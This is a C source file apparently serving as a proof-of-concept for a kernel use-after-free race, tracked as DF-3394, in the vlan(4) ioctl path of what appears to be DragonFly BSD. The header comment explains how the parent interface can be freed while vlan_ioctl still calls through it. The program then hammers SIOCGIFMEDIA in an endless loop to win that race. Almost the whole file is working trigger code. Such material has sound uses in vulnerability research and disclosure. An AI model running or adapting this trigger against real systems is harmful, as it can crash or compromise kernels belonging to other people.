DF-3394 / race_query.c
/* * DF-3394 PoC (unprivileged side): hammer SIOCGIFMEDIA on a vlan(4) * interface while the parent's lifetime is churned by root. * * vlan_ioctl() (sys/net/vlan/if_vlan.c:951-963) captures the parent * ifnet pointer `ifp_p = ifv->ifv_p`, DROPS the vlan serializer, * then does ifnet_serialize_all(ifp_p) + ifp_p->if_ioctl(ifp_p,...). * Nothing pins the parent: if the parent is destroyed concurrently * (if_detach -> ifnet_detach_event -> vlan_ifdetach -> vlan_unconfig * -> ... -> driver kfree's the ifnet), we serialize and indirect-call * through freed memory. * * usage: ./race_query vlan0 */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <net/if_media.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char *argv[]) { struct ifmediareq ifmr; int s, ulist[4]; long n = 0, ok = 0, fail = 0; if (argc < 2) { fprintf(stderr, "usage: %s ifname\n", argv[0]); return 2; } s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } memset(&ifmr, 0, sizeof(ifmr)); strlcpy(ifmr.ifm_name, argv[1], IFNAMSIZ); ifmr.ifm_count = 1; ifmr.ifm_ulist = ulist; for (;;) { ifmr.ifm_count = 1; if (ioctl(s, SIOCGIFMEDIA, &ifmr) == 0) ok++; else fail++; if (++n % 500000 == 0) { printf("iter=%ld ok=%ld fail=%ld\n", n, ok, fail); fflush(stdout); } } } |